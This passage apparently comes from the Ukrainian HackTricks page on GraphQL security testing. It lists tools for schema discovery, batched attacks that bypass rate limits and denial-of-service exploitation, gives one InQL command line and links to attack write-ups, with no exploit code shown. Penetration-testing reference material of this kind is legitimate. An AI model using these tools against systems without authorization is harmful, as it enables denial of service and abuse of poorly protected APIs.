- https://github.com/doyensec/inql: Розширення Burp або скрипт python для розширеного тестування GraphQL. Сканер є основою InQL v5.0, де ви можете аналізувати кінцеву точку GraphQL або локальний файл схеми інспекції. Він автоматично генерує всі можливі запити та мутації, організуючи їх у структурований вигляд для вашого аналізу. Компонент Атакуючий дозволяє вам виконувати пакетні атаки GraphQL, що може бути корисним для обходу погано реалізованих обмежень швидкості:
python3 inql.py -t http://example.com/graphql -o output.json
- https://github.com/nikitastupin/clairvoyance: Спробуйте отримати схему навіть з вимкненою інспекцією, використовуючи допомогу деяких баз даних Graphql, які запропонують назви мутацій та параметрів.
Скрипти для експлуатації поширених вразливостей
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: Збірка скриптів для експлуатації вразливостей відмови в обслуговуванні в уразливих graphql середовищах.
Клієнти
- https://github.com/graphql/graphiql: GUI клієнт
- https://altair.sirmuel.design/: GUI Клієнт
Автоматичні тести
https://graphql-dashboard.herokuapp.com/
- Відео, що пояснює AutoGraphQL: https://www.youtube.com/watch?v=JJmufWfVvyU
Посилання
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.